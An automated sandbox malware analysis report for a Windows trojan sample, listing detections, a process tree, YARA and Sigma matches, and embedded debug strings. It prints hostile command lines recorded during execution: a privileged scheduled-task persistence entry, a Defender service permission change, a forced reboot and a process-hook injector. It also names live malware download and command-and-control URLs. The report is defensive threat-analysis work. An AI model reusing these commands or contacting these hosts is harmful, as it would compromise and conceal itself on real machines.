Play interactive tour

Edit tour

Windows Analysis Report 0NlSa5bf55

Overview

General Information

Sample Name:	0NlSa5bf55 (renamed file extension from none to exe)
Analysis ID:	515565
MD5:	ee30d6928c9de84049aa055417cc767e
SHA1:	a2aec2076bdfa92e5cda03443bec7b6c3287b43a
SHA256:	0ab024b0da0436fddc99679a74a26fdcd9851eb00e88ff2998f001ccd0c9016f
Tags:	32exetrojan
Infos:
Most interesting Screenshot:

Detection

Metasploit

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Metasploit Payload

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Sigma detected: System File Execution Location Anomaly

Found Tor onion address

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses shutdown.exe to shutdown or reboot the system

May modify the system service descriptor table (often done to hook functions)

Machine Learning detection for dropped file

Contains functionality to inject threads in other processes

Performs DNS TXT record lookups

Sigma detected: Suspicious Service DACL Modification

Drops executables to the windows directory (C:\Windows) and starts them

Uses schtasks.exe or at.exe to add and modify task schedules

Drops PE files with benign system names

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

PE file contains sections with non-standard names

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Downloads executable code via HTTP

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Drops files with a non-matching file extension (content does not match file extension)

PE file does not import any functions

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Enables security privileges

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

0NlSa5bf55.exe (PID: 2956 cmdline: "C:\Users\user\Desktop\0NlSa5bf55.exe" MD5: EE30D6928C9DE84049AA055417CC767E)

conhost.exe (PID: 2700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

upd.exe (PID: 5716 cmdline: C:\Users\user\Desktop\upd.exe -update MD5: 3C3046F640F7825C720849AAA809C963)

upd.exe (PID: 1304 cmdline: "C:\Users\user\Desktop\upd.exe" -update MD5: 3C3046F640F7825C720849AAA809C963)

csrss.exe (PID: 464 cmdline: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe MD5: 3C3046F640F7825C720849AAA809C963)

schtasks.exe (PID: 4644 cmdline: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 5360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5916 cmdline: schtasks /delete /tn ScheduledUpdate /f MD5: 838D346D1D28F00783B7A6C6BD03A0DA)

conhost.exe (PID: 6324 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 6396 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 1312 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 4632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 60 cmdline: mountvol B: /s MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 5168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mountvol.exe (PID: 2056 cmdline: mountvol B: /d MD5: 5C11B99E6D41403031CD946255E8A353)

conhost.exe (PID: 6280 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

shutdown.exe (PID: 6772 cmdline: shutdown -r -t 5 MD5: E2EB9CC0FE26E28406FB6F82F8E81B26)

conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

injector.exe (PID: 6592 cmdline: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll MD5: D98E33B66343E7C96158444127A117F6)

conhost.exe (PID: 4640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

windefender.exe (PID: 4940 cmdline: C:\Windows\windefender.exe MD5: E0A50C60A85BFBB9ECF45BFF0239AAA3)

conhost.exe (PID: 1460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4072 cmdline: cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) MD5: F3BDBE3BB6F734E357235F4D5898582D)

sc.exe (PID: 5332 cmdline: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) MD5: 24A3E2603E63BCB9695A2935D3B24695)

svchost.exe (PID: 2008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

TrustedInstaller.exe (PID: 5352 cmdline: C:\Windows\servicing\TrustedInstaller.exe MD5: 4578046C54A954C917BB393B70BA0AEB)

svchost.exe (PID: 6688 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3544 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6476 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

windefender.exe (PID: 6348 cmdline: C:\Windows\windefender.exe MD5: E0A50C60A85BFBB9ECF45BFF0239AAA3)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.upd.exe.9ad080.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
8.2.upd.exe.9af2e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
8.2.upd.exe.9a76e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
8.2.upd.exe.9ad080.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9ad080.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3eb18:$s2: The Magic Word! 0x4ac58:$s2: The Magic Word! 0x3ee78:$s3: Software\Oracle\VirtualBox 0x3eb07:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9a76e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
5.2.upd.exe.9af2e0.2.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
5.2.upd.exe.9a76e0.1.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x444b8:$s2: The Magic Word! 0x505f8:$s2: The Magic Word! 0x44818:$s3: Software\Oracle\VirtualBox 0x444a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.9af2e0.3.raw.unpack	MAL_ME_RawDisk_Agent_Jan20_2	Detects suspicious malware using ElRawDisk	Florian Roth	0x3c8b8:$s2: The Magic Word! 0x489f8:$s2: The Magic Word! 0x3cc18:$s3: Software\Oracle\VirtualBox 0x3c8a7:$sc1: 00 5C 00 5C 00 2E 00 5C 00 25 00 73
11.2.csrss.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
5.2.upd.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
8.2.upd.exe.400000.0.unpack	JoeSecurity_MetasploitPayload_3	Yara detected Metasploit Payload	Joe Security
Click to see the 7 entries

Sigma Overview

System Summary:

Sigma detected: System File Execution Location Anomaly

Show sources

Source: Process started

Author: Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community: Data: Command: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, CommandLine: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, CommandLine|base64offset|contains: ^j{, Image: C:\Windows\rss\csrss.exe, NewProcessName: C:\Windows\rss\csrss.exe, OriginalFileName: C:\Windows\rss\csrss.exe, ParentCommandLine: "C:\Users\user\Desktop\upd.exe" -update, ParentImage: C:\Users\user\Desktop\upd.exe, ParentProcessId: 1304, ProcessCommandLine: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, ProcessId: 464

Sigma detected: Suspicious Service DACL Modification

Show sources

Source: Process started

Author: Jonhnathan Ribeiro, oscd.community: Data: Command: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), CommandLine: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4072, ProcessCommandLine: sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD), ProcessId: 5332

Sigma detected: Windows Processes Suspicious Parent Directory

Show sources

Source: Process started

Author: vburov: Data: Command: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, CommandLine: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, CommandLine|base64offset|contains: ^j{, Image: C:\Windows\rss\csrss.exe, NewProcessName: C:\Windows\rss\csrss.exe, OriginalFileName: C:\Windows\rss\csrss.exe, ParentCommandLine: "C:\Users\user\Desktop\upd.exe" -update, ParentImage: C:\Users\user\Desktop\upd.exe, ParentProcessId: 1304, ProcessCommandLine: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, ProcessId: 464

Persistence and Installation Behavior:

Sigma detected: Schedule system process

Show sources

Source: Process started

Author: Joe Security: Data: Command: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, CommandLine|base64offset|contains: mj,, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: C:\Windows\rss\csrss.exe -cleanup C:\Users\user\Desktop\upd.exe, ParentImage: C:\Windows\rss\csrss.exe, ParentProcessId: 464, ProcessCommandLine: schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F, ProcessId: 4644

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Multi AV Scanner detection for submitted file

Show sources

Source: 0NlSa5bf55.exe	Virustotal: Detection: 66%			Perma Link
Source: 0NlSa5bf55.exe	ReversingLabs: Detection: 64%

Antivirus detection for URL or domain

Show sources

Source: https://runmodes.com/api/logMachineGuidServiceVersionarch=64&build_number=17134&ec%3Af4%3Abb%3A86%3A	Avira URL Cloud: Label: malware
Source: https://runmodes.com/api/log	Avira URL Cloud: Label: malware
Source: https://runmodes.com/api/log442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	Avira URL Cloud: Label: malware
Source: http://newscommer.com/app/app.exe	URL Reputation: Label: malware
Source: https://runmodes.com/api/loginvalid	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: runmodes.com	Virustotal: Detection: 6%	Perma Link
Source: server16.trumops.com	Virustotal: Detection: 6%	Perma Link
Source: gohnot.com	Virustotal: Detection: 10%	Perma Link
Source: server2.trumops.com	Virustotal: Detection: 6%	Perma Link

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Avira: detection malicious, Label: TR/Agent.twerk
Source: C:\Users\user\Desktop\upd.exe	Avira: detection malicious, Label: TR/AD.GoCloudnet.vvvot
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Avira: detection malicious, Label: TR/Redcap.gsjan
Source: C:\Windows\windefender.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.eocey
Source: C:\Windows\rss\csrss.exe	Avira: detection malicious, Label: TR/AD.GoCloudnet.vvvot

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	ReversingLabs: Detection: 59%
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	Metadefender: Detection: 13%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\Desktop\upd.exe	Metadefender: Detection: 31%	Perma Link
Source: C:\Users\user\Desktop\upd.exe	ReversingLabs: Detection: 85%
Source: C:\Windows\rss\csrss.exe	Metadefender: Detection: 31%	Perma Link
Source: C:\Windows\rss\csrss.exe	ReversingLabs: Detection: 85%
Source: C:\Windows\windefender.exe	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\windefender.exe	ReversingLabs: Detection: 78%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\Desktop\upd.exe	Joe Sandbox ML: detected
Source: C:\Windows\rss\csrss.exe	Joe Sandbox ML: detected

Source: 11.2.csrss.exe.11c38000.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 11.2.csrss.exe.11bb8000.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.0NlSa5bf55.exe.115f2000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.0NlSa5bf55.exe.115f4000.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.0NlSa5bf55.exe.115f6000.2.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: 0NlSa5bf55.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: Loader.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp, bootx64.efi.11.dr
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdb source: upd.exe, 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\mac\Desktop\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: The symbol server has never indexed any version of this symbol fileNo version of the .pdb file with the given name has ever been registered. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7x64\x64\Release\SSDTHook.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: '(.EfiGuardDxe.pdb source: upd.exe.0.dr
Source:	Binary string: PDB not foundUnable to locate the .pdb file in any of the symbol search path locations. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp, EfiGuardDxe.efi.11.dr
Source:	Binary string: symsrv.pdbGCTL source: upd.exe, 00000005.00000002.321400821.0000000000C57000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.350292388.0000000000C57000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.565483250.0000000000C57000.00000040.00020000.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp, EfiGuardDxe.efi.11.dr
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: upd.exe, 00000005.00000002.319820615.0000000000401000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.347779189.0000000000401000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.561114927.0000000000401000.00000040.00020000.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: upd.exe, 00000005.00000002.321110188.0000000000A5B000.00000040.00020000.sdmp, upd.exe, 00000008.00000002.349179433.0000000000A5B000.00000040.00020000.sdmp, csrss.exe, 0000000B.00000002.564142562.0000000000A5B000.00000040.00020000.sdmp
